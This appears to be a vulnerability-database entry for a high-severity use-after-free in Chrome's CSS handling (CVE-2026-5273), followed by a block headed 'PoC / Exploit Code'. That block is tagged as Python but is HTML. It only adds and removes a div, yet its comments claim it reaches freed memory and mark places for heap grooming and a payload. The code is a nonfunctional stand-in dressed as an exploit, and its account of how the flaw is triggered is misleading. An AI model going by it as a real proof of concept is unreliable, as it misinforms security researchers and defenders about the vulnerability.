Use after free in CSS in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual PoC for CVE-2026-5273
This HTML demonstrates a simulated Use After Free trigger in CSS.
Note: Actual exploit logic requires specific heap grooming and ROP chains.
-->
<!DOCTYPE html>
<html>
<head>
<style>
/* Malicious CSS to trigger specific rendering path */
.vuln-object {
position: absolute;
transition: all 0.5s ease;
}
</style>
</head>
<body>
<div id="target">Triggering UAF...</div>
<script>
// Step 1: Allocate object
let obj = document.createElement('div');
obj.className = 'vuln-object';
document.body.appendChild(obj);
// Step 2: Free object (simulated)
document.body.removeChild(obj);
// Step 3: Use after free (access freed memory)
// In a real exploit, this would corrupt memory to redirect execution flow
setTimeout(() => {
console.log("Attempting access to potentially freed memory reference...");
// Exploit payload would be triggered here
}, 100);
</script>
</body>
</html>